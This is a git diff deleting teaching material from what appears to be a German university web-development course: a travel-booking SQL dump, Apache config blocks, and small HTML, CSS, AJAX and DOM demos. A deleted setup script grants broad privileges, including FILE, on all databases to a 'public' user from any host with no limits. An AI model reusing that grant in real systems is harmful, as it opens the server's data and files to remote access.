-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(47, 'Palma de Mallorca', '2002-04-28', '2002-05-03', 'Cala Ratjada', 'Hostal Jumar', 'Doppelzimmer', 'einfach', 128, 47);
-INSERT INTO `hotel` (`HotelNr`, `Zielflughafen`, `von`, `bis`, `Ort`, `Hotel`, `Zimmerart`, `Kategorie`, `Preis`, `PauschalNr`) VALUES(48, 'Palma de Mallorca', '2002-04-21', '2002-04-25', 'Can Pastilla', 'Amfora Beach', 'Einzelzimmer', 'einfach', 128, 48);
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `kunde`
---
-
-CREATE TABLE IF NOT EXISTS `kunde` (
-  `id` int(3) NOT NULL AUTO_INCREMENT,
-  `Anrede` varchar(10) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  `Name` varchar(30) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  `Vorname` varchar(30) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  `Strasse` varchar(40) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  `PLZ` int(6) NOT NULL DEFAULT '0',
-  `TelPrivat` varchar(30) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  `TelBuero` varchar(30) COLLATE latin1_general_ci DEFAULT NULL,
-  `Fax` varchar(30) COLLATE latin1_general_ci DEFAULT NULL,
-  `eMail` varchar(30) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  `Pauschalnummer` int(3) NOT NULL DEFAULT '0',
-  `Reiseart` varchar(10) COLLATE latin1_general_ci NOT NULL DEFAULT '',
-  PRIMARY KEY (`id`)
-) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
-
---
--- Daten für Tabelle `kunde`
---
-
-INSERT INTO `kunde` (`id`, `Anrede`, `Name`, `Vorname`, `Strasse`, `PLZ`, `TelPrivat`, `TelBuero`, `Fax`, `eMail`, `Pauschalnummer`, `Reiseart`) VALUES(1, 'Herr', 'asfxy', 'asdfa', 'asdf', 345, '3535', '', '', 'a@b.de', 25, 'flug');
-INSERT INTO `kunde` (`id`, `Anrede`, `Name`, `Vorname`, `Strasse`, `PLZ`, `TelPrivat`, `TelBuero`, `Fax`, `eMail`, `Pauschalnummer`, `Reiseart`) VALUES(2, 'Frau', 'xy', '', '', 0, '', '', '', '', 0, '');
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `pauschalangebot`
---
-
-CREATE TABLE IF NOT EXISTS `pauschalangebot` (
-  `PauschalNr` int(11) NOT NULL DEFAULT '0',
-  `Preis` double DEFAULT NULL,
-  PRIMARY KEY (`PauschalNr`)
-) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
-
---
--- Daten für Tabelle `pauschalangebot`
---
-
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(1, 225);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(2, 225);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(3, 225);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(4, 229);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(5, 232);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(6, 232);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(7, 233);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(8, 233);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(9, 233);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(10, 233);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(11, 233);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(12, 233);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(13, 234);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(14, 235);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(15, 235);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(16, 235);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(17, 236);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(18, 238);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(19, 239);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(20, 239);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(21, 239);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(22, 242);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(23, 243);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(24, 243);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(25, 244);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(26, 244);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(27, 244);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(28, 244);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(29, 245);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(30, 249);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(31, 249);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(32, 249);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(33, 252);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(34, 252);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(35, 252);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(36, 252);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(37, 252);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(38, 252);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(39, 253);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(40, 254);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(41, 254);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(42, 255);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(43, 256);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(44, 256);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(45, 256);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(46, 256);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(47, 256);
-INSERT INTO `pauschalangebot` (`PauschalNr`, `Preis`) VALUES(48, 257);
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `zielflughafen`
---
-
-CREATE TABLE IF NOT EXISTS `zielflughafen` (
-  `Zielflughafen` varchar(30) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL,
-  `Land` varchar(30) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL,
-  PRIMARY KEY (`Zielflughafen`)
-) ENGINE=MyISAM DEFAULT CHARSET=latin1;
-
---
--- Daten für Tabelle `zielflughafen`
---
-
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('München', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Frankfurt', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Barcelona', 'Spanien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Fuerteventura', 'Spanien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Paris', 'Frankreich');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Delhi', 'Indien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Berlin', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Chennai', 'Indien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Montpelliér', 'Frankreich');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Hannover', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Madrid', 'Spanien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Lyon', 'Frankreich');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Rom', 'Italien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Berlin_Tegel', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Frankfurt-Hahn', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Stuttgart', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Mailand', 'Italien');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Nürnberg', 'Deutschland');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Dalaiman', 'Türkei');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Antalya', 'Türkei');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Toronto', 'Kanada');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Orlando', 'USA');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Detroit', 'USA');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Bangkok', 'Thailand');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Washington DC', 'USA');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('New York', 'USA');
-INSERT INTO `zielflughafen` (`Zielflughafen`, `Land`) VALUES('Manchester', 'UK');
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/99-Permissions.sql b/mariadb/mariadb.setup/99-Permissions.sql
deleted file mode 100644
index 0bd3829e668a01e5cddfe2395019b1c6dd508a5a..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/99-Permissions.sql
+++ /dev/null
@@ -1,3 +0,0 @@
--- REVOKE ALL PRIVILEGES ON *.* FROM 'public'@'%';
--- REVOKE GRANT OPTION ON *.* FROM 'public'@'%';
-GRANT SELECT, INSERT, UPDATE, DELETE, FILE ON *.* TO 'public'@'%' REQUIRE NONE WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0; 
diff --git a/php-apache/httpd-ewa.conf b/php-apache/httpd-ewa.conf
index 114b57e4e7d8a207bed6813eff2cbaf8744b01a6..a6281921777deaec8248bb0128b59556d8bea506 100644
--- a/php-apache/httpd-ewa.conf
+++ b/php-apache/httpd-ewa.conf
@@ -50,24 +50,6 @@ Alias /Vorlesung ${VORLESUNG}
 #   Require local
 </Directory>
 
-#Klausur
-Define KLAUSUR "/var/www/html/Klausuren"
-Alias /klausur ${KLAUSUR}
-<Directory ${KLAUSUR}>
-    AllowOverride None
-    Options Indexes FollowSymLinks ExecCGI Includes
-#   Require local
-</Directory>
-
-# PHP-Demos
-Define VORL_PHP "/var/www/html/Demos/PHP"	
-Alias /vorl_php ${VORL_PHP}
-<Directory ${VORL_PHP}>
-    Options Indexes MultiViews ExecCGI
-    DirectoryIndex index.php
-#   Require local
-</Directory>
-
 # Generated Reports etc.
 Define GENERATED "/tmp/generated"	
 Alias /generated ${GENERATED}
diff --git a/src/Demos/AJAX/Zeit.php b/src/Demos/AJAX/Zeit.php
deleted file mode 100644
index d928403bd21f9213d5d55a7aa4a8e4de2a31a8cf..0000000000000000000000000000000000000000
--- a/src/Demos/AJAX/Zeit.php
+++ /dev/null
@@ -1,11 +0,0 @@
-<?php
-sleep(3);
-
-header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
-header("Expires: Sat, 01 Jul 2000 06:00:00 GMT"); // Datum in der Vergangenheit
-header("Cache-Control: post-check=0, pre-check=0", false); // fuer IE
-header("Pragma: no-cache");
-session_cache_limiter('nocache'); // VOR session_start()!
-session_cache_expire(0);
-
-echo date("d.m.Y H:i:s");
\ No newline at end of file
diff --git a/src/Demos/AJAX/Zeitanzeigen1.html b/src/Demos/AJAX/Zeitanzeigen1.html
deleted file mode 100644
index e2bbe7e6d8cbb8ba92c40a296e09774425c08735..0000000000000000000000000000000000000000
--- a/src/Demos/AJAX/Zeitanzeigen1.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8"/>
    <title>Test</title>
    <script type="text/javascript">
        function requestData() {
            processData('26.03.2019 11:51:02');
        }

        function processData() {
            let myText = document.getElementById("meinText");
            myText.firstChild.nodeValue = '26.03.2020 11:51:02';
        }
    </script>
</head>
<body>
<h1>Hier steht der Text</h1>
<p id="meinText">mein Text</p>
<form action="Zeitanzeigen1.html">
    <input type="button" value="Los!" onclick="requestData()"/>
</form>
</body>
</html>
\ No newline at end of file
diff --git a/src/Demos/AJAX/Zeitanzeigen2.html b/src/Demos/AJAX/Zeitanzeigen2.html
deleted file mode 100644
index a6d28c89f6197e016efd726908725409ba60465c..0000000000000000000000000000000000000000
--- a/src/Demos/AJAX/Zeitanzeigen2.html
+++ /dev/null
@@ -1,42 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Test</title>
-    <script type="text/javascript">
-
-        function processData() {
-            if (request.readyState === 4) {			// Ãœbertragung = DONE
-                if (request.status === 200) {	   		// HTTP-Status = OK
-                    if (request.responseText != null)
-                        process(request.responseText);		// Daten weiterverarbeiten
-                    else console.error("Dokument ist leer");
-                } else console.error("Uebertragung fehlgeschlagen:" + request.status);
-            }	// else // Übertragung läuft noch
-        }
-
-        function process(intext) { // Text ins DOM einfuegen
-            let myText = document.getElementById("myText");
-            myText.firstChild.nodeValue = intext;
-            document.getElementById("myb").value = "Fertig!"
-        }
-
-        let request = new XMLHttpRequest(); // für Firefox & IE7
-        //request = new ActiveXObject("Microsoft.XMLHTTP"); // für <= IE 6
-
-        function requestData() {
-            document.getElementById("myb").value = "Gleich kommts!";
-            request.open("GET", "Zeit.php");	// URL für HTTP-GET festlegen
-            request.onreadystatechange = processData;	// Callback-Handler zuordnen (fuer IE7 erst NACH open!!!
-            request.send(null);	// Request abschicken
-        }
-    </script>
-</head>
-<body>
-<h1>Gleich kommt die Zeit</h1>
-<p id="myText">noch nicht!</p>
-<form action="Zeitanzeigen2.html">
-    <input type="button" id="myb" value="Los!" onclick="requestData()"/>
-</form>
-</body>
-</html>
diff --git a/src/Demos/CSS/CSS_Standardformate.html b/src/Demos/CSS/CSS_Standardformate.html
deleted file mode 100644
index a6bb5f0c0f4ae8d141938ab7ec34639f09f549c3..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/CSS_Standardformate.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <style>
-		p	{ border: 0.1em solid black; font-family:Calibri, Helvetica, sans-serif; }
-		h3	{ text-align: center; color:#AABBCC; }
-		* 	{ color:green; } /* Universalselektor gilt für alle Tags */
-		ul	{ list-style:none; } /* verbirgt die Aufzählungspunkte */
-	</style>
-    <title>CSS Standardformate</title>
-</head>
-<body>
-	<h3>Ãœberschrift 3. Ebene</h3>
-	<p>einfacher Fließtext in einem Absatz</p>
-	<ul>
-	   <li>Erstens</li>
-	</ul>
-</body>
-</html>
diff --git a/src/Demos/CSS/CSS_mehrfachDefinition.css b/src/Demos/CSS/CSS_mehrfachDefinition.css
deleted file mode 100644
index c8b5d9e6c27475f2c128b0b41147a56976d7008d..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/CSS_mehrfachDefinition.css
+++ /dev/null
@@ -1,19 +0,0 @@
-* {
-    color: red;
-}
-
-body {
-    color: blue;
-}
-
-p {
-    color: aquamarine;
-}
-
-.cl {
-    color: green;
-}
-
-#x {
-    color: purple;
-}
diff --git a/src/Demos/CSS/CSS_mehrfachDefinition.html b/src/Demos/CSS/CSS_mehrfachDefinition.html
deleted file mode 100644
index c4185878e4642470363fbdcf7771e70f180dfb3f..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/CSS_mehrfachDefinition.html
+++ /dev/null
@@ -1,11 +0,0 @@
-<!doctype html>
-<html lang="de">
-<head>
-    <title>Mehrfach-Definition mit CSS</title>
-    <meta charset="utf-8"/>
-    <link rel="stylesheet" href="./CSS_mehrfachDefinition.css" type="text/css"/>
-</head>
-<body>
-<p id="x" class="cl" style="color: grey">Welche Farbe darf es sein?</p>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/CSS/First_CSS.css b/src/Demos/CSS/First_CSS.css
deleted file mode 100644
index ff5edb1d7bb1dddc275b77909980a62889b26161..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/First_CSS.css
+++ /dev/null
@@ -1,24 +0,0 @@
-/* First_CSS */
-* {
-    margin: 0.2em;
-    padding: 0.2em;
-    color: blue;
-    background-color: lightgrey;
-}
-
-body {
-    font: 1em Calibri, sans-serif;
-    width: 50%;
-}
-
-h1 {
-    font-size: 1.5em;
-}
-
-.center {
-    text-align: center;
-}
-
-#inhalt_ID {
-    border: 0.1em solid white;
-}
diff --git a/src/Demos/CSS/First_CSS.html b/src/Demos/CSS/First_CSS.html
deleted file mode 100644
index 64057904db9017998696b821c32cbde02b367736..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/First_CSS.html
+++ /dev/null
@@ -1,14 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <link rel="stylesheet" type="text/css" href="First_CSS.css"/>
-    <title>Text des Titels</title>
-</head>
-<body>
-<h1>Mein erstes CSS</h1>
-<p class="center">Eigentlicher
-    <span id="inhalt_ID">Inhalt</span>
-</p>
-</body>
-</html>
diff --git a/src/Demos/CSS/HTML_mit_und_ohne_CSS.html b/src/Demos/CSS/HTML_mit_und_ohne_CSS.html
deleted file mode 100644
index 53b8ba1f2665f45b382bb47d7598c84d9ee30724..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/HTML_mit_und_ohne_CSS.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8"/>
    <style type="text/css">
        <!--
* { padding:0; margin:0; } /* keine Default Abstände */
body {color:black; background-color: WhiteSmoke;
		font:1em Verdana;}
footer, header {/*clear: both; */text-align:center;
		color: white; background-color: grey;}
article {display: inline-block; width: 15em;
		border: 0.1em solid black; margin:0.5em;}
nav {display: block; margin: 0.5em; border: 0.2em solid grey;
		text-align:center; width:10em;/*float:left;*/}
nav li {font-size: 1em; margin: 0.1em;
		background-color: Lavender;}
ul {list-style:none;
		border: 0.1em solid white;
		text-align: left;}
		-->
    </style>
      <title>CSS-Vorbereitung</title>
  </head>
  <body>
  <header><h1>Kopfzeile</h1></header>
  <nav>
      <ul>
          <li>Menu1</li>
          <li>Menu2</li>
      </ul>
  </nav>
  <section>
      <article>Inhalt1</article>
      <article>Inhalt2</article>
  </section>
  <footer>Fußzeile</footer>
  </body>
</html>
\ No newline at end of file
diff --git a/src/Demos/CSS/LayoutMitTabelle.html b/src/Demos/CSS/LayoutMitTabelle.html
deleted file mode 100644
index 7683daa6bef6f6ba456f117b036a80c3b4dccb47..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/LayoutMitTabelle.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head>
	<meta charset="UTF-8"/>
	<style>
		* {font-family: verdana, sans-serif;}
		table, td, th { border: 2px solid black; border-collapse: collapse; padding: 0.5em;}
		select { width:100%;}  
		.Ueberschrift {text-align: center; font-weight: bold;}
		img {width:60px; height:60px;}
	</style>
	<title>Bestellung</title>
</head>

<body>

<h1> Kunde (Bestellung) </h1>

<form action="http://www.fbi.h-da.de/cgi-bin/Echo.pl" method="get">

	<table>
		<caption>Wählen Sie Ihre Pizzas</caption>
		<tr>
			<th id="my_th"></th>
		</tr>
		<tr>
			<td><img src="pizza.gif" alt=""/></td>
			<!-- alt ist leer, weil die Grafik nur zur Veranschaulichung dient -->
			<td>Margherita</td>
			<td>4,00 €</td>
			<td class="Ueberschrift">Warenkorb</td>
		</tr>

		<tr>
			<td><img src="pizza.gif" alt=""/></td>
			<td>Salami</td>
			<td>4,50 €</td>
			<td rowspan="2"><label> <br>
				<select size="7" tabindex="1">
					<option selected="selected">Roma</option>
					<option>Margherita</option>
					<option>Napoli</option>
				</select>
			</label>
			</td>
			<td rowspan="2">14,50 €</td>
		</tr>

		<tr>
			<td><img src="pizza.gif" alt=""/></td>
			<td>Hawaii</td>
			<td>5,50 €</td>
			<!-- <td> </td> fehlt wegen colspan-->
		</tr>

		<tr>
			<td><img src="pizza.gif" alt=""/></td>
			<td>Tonno</td>
			<td>5,00 €</td>
			<td><p>
				<label>Adresse:<br>
					<input type="text" name="adresse" size="25" maxlength="90" placeholder="Ihre Adresse" value=""/>
				</label>
			</p>
				<p>
					<input type="submit" name="Bestellen" value="Bestellen"/>
					<input type="reset" name="Löschen" value="Löschen"/>
				</p>
			</td>
		</tr>
	</table>
</form>
</body>
</html>
\ No newline at end of file
diff --git a/src/Demos/CSS/LayoutMitTabelle_Screenreader.mp3 b/src/Demos/CSS/LayoutMitTabelle_Screenreader.mp3
deleted file mode 100644
index bd4806fb4244fe0a71c71236dcd32b5b1d79a36b..0000000000000000000000000000000000000000
Binary files a/src/Demos/CSS/LayoutMitTabelle_Screenreader.mp3 and /dev/null differ
diff --git a/src/Demos/CSS/Layout_3-spaltig.html b/src/Demos/CSS/Layout_3-spaltig.html
deleted file mode 100644
index 2e2636735c6df912b633f916a5da4220962f3253..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/Layout_3-spaltig.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head>
	<meta charset="UTF-8"/>
	<style>
		<!--
/* Design*/
	* {margin: 0.2em; padding: 0.2em; color:black;}
	body { color:black; background-color: WhiteSmoke; font:1em Verdana;}
	footer, header {color: white; background-color: grey; text-align:center;}
	nav, .Rechts {margin: 0.5em; border: 0.2em solid grey; background-color: Lavender;}
	li, p {border: 0.3em solid white;}	
	ul {list-style:none; border: 0.1em solid white; text-align: left;}

/* Layout */
	body {min-width:25em;}
	footer, header {clear: both;}
	nav {display: block; float:left; width: 9em; min-width:5em;}
	article {text-align: justify; margin-left:10em; }
	.Rechts {width: 30%; float: right; display: block; max-width: 12em;} 
		-->
	</style>
	<title>Layout-Test</title>
</head>
<body>
<header><h1 class="header">111 111 111</h1></header>
<nav>
	<ul>
		<li>222 222</li>
		<li>33 33 33</li>
	</ul>
</nav>

<div class="Rechts">
	<p>44 44 44</p>
	<p>555 555</p>
	<p>6 6 6 6 6 6 6 6 6 6</p>
</div>

<section><h2>Section</h2>
	<article><h2>7er</h2>77777 7777 777 7777 777 7777777 7777 777 7777 777 7777777 7777 777 7777 777 7777777 7777 777
		7777 777 77 77777 7777 777 7777 777 77 77777 7777 777 7777 777 77 7777 777 7777 777 7777777 7777 777 7777 777 77
		77777 7777 777 7777 777 77 77777 7777 777 7777 777 77 77777 7777 777 7777 777 77 77777 7777 777 7777 777 77
	</article>
</section>
<footer><p class="footer">888 888 888 888</p></footer>
</body>
</html>
\ No newline at end of file
diff --git a/src/Demos/CSS/Strukturiertes_HTML_ohne_CSS.html b/src/Demos/CSS/Strukturiertes_HTML_ohne_CSS.html
deleted file mode 100644
index 4f39ea4f273930d4975706d7091626102ed9c72b..0000000000000000000000000000000000000000
--- a/src/Demos/CSS/Strukturiertes_HTML_ohne_CSS.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8"/>

    <title>CSS-Vorbereitung</title>
</head>
<body>
<header><h1>Kopfzeile</h1></header>
<nav>
    <ul>
        <li>Menu1</li>
        <li>Menu2</li>
    </ul>
</nav>
<section><h2>1. Section</h2>
    <article><h2>1. Artikel</h2>Inhalt1</article>
    <article><h2>2. Artikel</h2>Inhalt2</article>
</section>
<footer>Fußzeile</footer>
</body>
</html>

\ No newline at end of file
diff --git a/src/Demos/CSS/pizza.gif b/src/Demos/CSS/pizza.gif
deleted file mode 100644
index 3644beaf9bd8f859b7fdf188dfe7e7cc8f3513a9..0000000000000000000000000000000000000000
Binary files a/src/Demos/CSS/pizza.gif and /dev/null differ
diff --git a/src/Demos/DOM/AufUndZuklappen.gif b/src/Demos/DOM/AufUndZuklappen.gif
deleted file mode 100644
index dd41c5a54cdaeb993a293ed6d26657cf374abecf..0000000000000000000000000000000000000000
Binary files a/src/Demos/DOM/AufUndZuklappen.gif and /dev/null differ
diff --git a/src/Demos/DOM/Auswahlhierarchie.gif b/src/Demos/DOM/Auswahlhierarchie.gif
deleted file mode 100644
index 00ebc8244ae2d4ee3dfcc40717ff3382fbda77a2..0000000000000000000000000000000000000000
Binary files a/src/Demos/DOM/Auswahlhierarchie.gif and /dev/null differ
diff --git a/src/Demos/DOM/DOM_AddOption.html b/src/Demos/DOM/DOM_AddOption.html
deleted file mode 100644
index 02d52340a138fab64057df1d1ff08fda8e4771d8..0000000000000000000000000000000000000000
--- a/src/Demos/DOM/DOM_AddOption.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head><title>Test</title>
    <meta charset="UTF-8"/>
    <script type="text/javascript">
        function Hinzufuegen() {
			"use strict";
            let Unterliste = document.getElementById("UnterlisteID");
            let NeueOption = document.getElementById("neueOption");

            let neuesElement = document.createElement("option");
            neuesElement.text = NeueOption.value;
            neuesElement.value = NeueOption.value;
            neuesElement.defaultSelected = false;
            neuesElement.selected = true;
            Unterliste.options[Unterliste.length] = neuesElement;

            NeueOption.value = ""; // Eingabefeld leeren
        }
    </script>
</head>
<body>

<form action="http://localhost/my-cgi-bin/echo.php" method="get" accept-charset="UTF-8">
    <label>Wählen Sie<br>
        <select id="UnterlisteID" name="Auswahl" size="8">
            <option>Ein Eintrag</option>
        </select></label>
    <br>
    <label>Neue Option:<br>
        <input type="text" id="neueOption" name="neueOption"/>
    </label>
    <input type="button" value="Hinzu" onclick="Hinzufuegen()"/>
</form>
</body>
</html>
\ No newline at end of file
diff --git a/src/Demos/DOM/DOM_AufUndZuKlappen.html b/src/Demos/DOM/DOM_AufUndZuKlappen.html
deleted file mode 100644
index 74f518f5f58b9f48d9bccdbe9086ffda2566b033..0000000000000000000000000000000000000000
--- a/src/Demos/DOM/DOM_AufUndZuKlappen.html
+++ /dev/null
@@ -1,81 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/> <!-- äöüÄÖÜ߀-->
-	<title>Beispiel (a) für ECMAScript und DOM</title>
-	<style>
-<!-- allgemeine Styles -->
-		body { font-family:Arial, Helvetica, sans-serif; }
-		h1   { font-size:1.2em; }
-		h2   { font-size:1.2em; }
-		img  { margin-top:2em; width: 12em; height: 5.2em; }
-
-/* Auf- und Zuklappen */
-		span.PlusMinus { background-color:rgb(192,192,192);
-			padding-left:0.2em; padding-right:0.2em; cursor:pointer;
-			font-family:monospace; }
-		ul.Unterpunkte { margin-top: 0.2em; margin-bottom: 0.2em; padding-left: 2.5em; display:none; }
-	</style>
-	<script type="text/javascript">
-		"use strict()";
-
-		function zeigeAusnahme(Ausnahmeobjekt) {
-			"use strict()";
-			let Meldung = "Fehler: ";
-			if (typeof Ausnahmeobjekt == "object") {
-				// Browser werfen mitunter solche Ausnahmeobjekte aus
-				for (let Attribut in Ausnahmeobjekt) {
-					if (Ausnahmeobjekt.hasOwnProperty(Attribut)) {
-						Meldung = Meldung + "\n" + Attribut + " = " + Ausnahmeobjekt[Attribut];
-					}
-				}
-			} else {
-				Meldung = Meldung + Ausnahmeobjekt;
-			}
-			alert(Meldung); // eslint-disable-line no-undef
-		}
-
-		function AufZuKlappen(Kapitel) {
-			"use strict()";
-			try {   // Beispiel zur Ausnahmebehandlung
-				let nPlusMinus = Kapitel.firstChild;
-				let nUnterliste = Kapitel.nextSibling.nextSibling;
-				let istZu = (nPlusMinus.nodeValue === "-");
-				if (istZu) {
-					nPlusMinus.nodeValue = "+";
-					nUnterliste.style.display = "none";
-				} else {
-					nPlusMinus.nodeValue = "-";
-					nUnterliste.style.display = "block";
-				}
-			} catch (Ausnahme) {
-				zeigeAusnahme(Ausnahme);
-			}
-		}
-
-	</script>
-</head>
-<body>
-<h1>Beispiele für ECMAScript und DOM</h1>
-<h2>Auf- und Zuklappen von Unterpunkten</h2>
-<div>
-	<span class="PlusMinus" onclick="AufZuKlappen(this);">+</span> Fernweh
-	<ul class="Unterpunkte">
-		<li>in die Sonne</li>
